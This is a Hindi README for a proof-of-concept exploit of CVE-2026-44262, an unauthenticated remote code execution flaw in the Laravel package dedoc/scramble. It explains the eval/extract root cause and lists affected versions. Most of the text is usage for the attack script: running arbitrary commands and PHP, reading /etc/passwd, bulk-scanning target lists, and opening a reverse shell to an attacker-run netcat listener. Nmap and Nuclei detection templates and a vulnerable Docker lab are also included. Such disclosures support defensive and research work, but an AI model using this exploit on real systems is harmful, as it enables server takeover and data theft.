
dedoc/scramble में बिना प्रमाणीकरण के RCE — PoC, Nmap NSE और Nuclei टेम्पलेट।
CVE-2026-44262 dedoc/scramble में एक अनप्रमाणित रिमोट कोड निष्पादन भेद्यता है, जो एक Laravel API दस्तावेज़ीकरण जनरेटर है।
NodeRulesEvaluator::doEvaluateExpression() eval("return $code;") से पहले extract($variables) को कॉल करता है। जब कोई कंट्रोलर $request->input() को $code नामक वेरिएबल में असाइन करता है और उसे वैलिडेशन रूल के रूप में उपयोग करता है, तो Scramble उस वेरिएबल को ट्रैक करता है और उसे eval स्कोप में पास कर देता है। एक हमलावर /docs/api.json में क्राफ्टेड क्वेरी पैरामीटर भेजकर $code को मनमाने PHP कोड से ओवरराइट कर सकता है।
प्रभावित संस्करण: dedoc/scramble >=0.13.2, <0.13.22
sleep() का उपयोग करके सुरक्षित, नॉन-ब्रेकिंग जाँचproc_open रिवर्स शेल, जिसमें bash या busybox की आवश्यकता नहीं हैhttp-scramble-rce-detect.nse)CVE-2026-44262.yaml)कोई बाहरी निर्भरता नहीं — केवल Python stdlib का उपयोग करता है।
git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api
git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api
usage: CVE-2026-44262.py [-h] (--target TARGET | --targets FILE) [--docs-path PATH]
[--check] [--command CMD] [--code PHP] [--read-file PATH]
[--shell] [--lhost HOST] [--lport PORT] [--os OS]
[--useragent USERAGENT] [--timeout SECONDS]
# Full detection (timing + exec probe)
python3 CVE-2026-44262.py --target http://example.com/docs/api
# Safe check only — timing probe, no command execution
python3 CVE-2026-44262.py --target http://example.com/docs/api --check
# Override JSON endpoint path
python3 CVE-2026-44262.py --target http://example.com/docs/api --docs-path /api/openapi.json
# Bulk scan
python3 CVE-2026-44262.py --targets targets.txt
# Execute a command
python3 CVE-2026-44262.py --target http://example.com/docs/api --command "whoami"
# Read a file
python3 CVE-2026-44262.py --target http://example.com/docs/api --read-file /etc/passwd
# Execute raw PHP
python3 CVE-2026-44262.py --target http://example.com/docs/api --code "echo php_uname();"
# Reverse shell (start: nc -lv 4444)
python3 CVE-2026-44262.py --target http://example.com/docs/api --shell --lhost 172.17.0.1 --lport 4444
# Nmap
nmap -p 80,443 --script http-scramble-rce-detect example.com
# Nuclei
nuclei -t CVE-2026-44262.yaml -u http://example.com
असुरक्षित ऐप (dedoc/scramble v0.13.21) के साथ एक सेल्फ-कंटेन्ड Docker वातावरण शामिल है। विवरण के लिए docker/DOCKER.md देखें।
cd docker/
docker compose up -d
python3 ../CVE-2026-44262.py --target http://localhost:8000/docs/api
यह टूल केवल शैक्षिक और शोध उद्देश्यों के लिए प्रदान किया गया है। निर्माता इस टूल के किसी भी दुरुपयोग या क्षति के लिए कोई ज़िम्मेदारी नहीं लेता है।